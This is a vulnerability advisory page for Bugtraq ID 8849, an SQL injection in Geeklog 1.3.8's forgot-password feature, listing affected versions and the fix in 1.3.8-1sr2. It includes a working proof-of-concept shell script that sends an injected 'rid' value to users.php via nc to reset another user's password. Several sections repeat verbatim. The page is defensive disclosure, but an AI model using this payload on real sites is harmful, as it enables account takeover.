Geeklog Forgot Password SQL Injection Vulnerability
BID:8849
Info
Geeklog Forgot Password SQL Injection Vulnerability
| Bugtraq ID: | 8849 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 19 2003 12:00AM |
| Updated: | Oct 19 2003 12:00AM |
| Credit: | Discovery of this issue is credited to Jouko Pynnonen <[email protected]>. |
| Vulnerable: |
Geeklog Geeklog 1.3.8 rc2 Geeklog Geeklog 1.3.8 rc1 Geeklog Geeklog 1.3.8 -1sr1 Geeklog Geeklog 1.3.8 -1 Geeklog Geeklog 1.3.8 |
| Not Vulnerable: |
Geeklog Geeklog 1.3.8 -1sr2 |
Discussion
Geeklog Forgot Password SQL Injection Vulnerability
An SQL injection vulnerability has been reported in the Geeklog "forgot password" feature (introduced in Geeklog 1.3.8). Due to insufficient sanitization of user-supplied input, it is possible for remote attacks to influence database queries. This could result in compromise of the Geeklog installation or attacks against the database.
An SQL injection vulnerability has been reported in the Geeklog "forgot password" feature (introduced in Geeklog 1.3.8). Due to insufficient sanitization of user-supplied input, it is possible for remote attacks to influence database queries. This could result in compromise of the Geeklog installation or attacks against the database.
Exploit / POC
Geeklog Forgot Password SQL Injection Vulnerability
This issue may be exploited with a web browser. The following example was provided:
------------->8------------->8------------->8------------->8--------------
#!/bin/sh
echo "POST /path/to/gl/users.php HTTP/1.0
Content-length: 50
Content-type: application/x-www-form-urlencoded
mode=setnewpwd&passwd=new&uid=2&rid=3'+or+uid='1&
" | nc localhost 80
------------->8------------->8------------->8------------->8--------------
This issue may be exploited with a web browser. The following example was provided:
------------->8------------->8------------->8------------->8--------------
#!/bin/sh
echo "POST /path/to/gl/users.php HTTP/1.0
Content-length: 50
Content-type: application/x-www-form-urlencoded
mode=setnewpwd&passwd=new&uid=2&rid=3'+or+uid='1&
" | nc localhost 80
------------->8------------->8------------->8------------->8--------------
Solution / Fix
Geeklog Forgot Password SQL Injection Vulnerability
Solution:
This issue has been addressed as of Geeklog 1.3.8-1sr2.
Geeklog Geeklog 1.3.8 rc1
Geeklog Geeklog 1.3.8 -1
Geeklog Geeklog 1.3.8 -1sr1
Geeklog Geeklog 1.3.8 rc2
Geeklog Geeklog 1.3.8
Solution:
This issue has been addressed as of Geeklog 1.3.8-1sr2.
Geeklog Geeklog 1.3.8 rc1
-
Geeklog Geeklog 1.3.8-1sr2
http://www.geeklog.net/filemgmt/singlefile.php?lid=254
Geeklog Geeklog 1.3.8 -1
-
Geeklog Geeklog 1.3.8-1sr2
http://www.geeklog.net/filemgmt/singlefile.php?lid=254
Geeklog Geeklog 1.3.8 -1sr1
-
Geeklog Geeklog 1.3.8-1sr2
http://www.geeklog.net/filemgmt/singlefile.php?lid=254
Geeklog Geeklog 1.3.8 rc2
-
Geeklog Geeklog 1.3.8-1sr2
http://www.geeklog.net/filemgmt/singlefile.php?lid=254
Geeklog Geeklog 1.3.8
-
Geeklog Geeklog 1.3.8-1sr2
http://www.geeklog.net/filemgmt/singlefile.php?lid=254
References
Geeklog Forgot Password SQL Injection Vulnerability
References:
References:
- Geeklog Homepage (Geeklog)
- Geeklog exploit (Jouko Pynnonen
)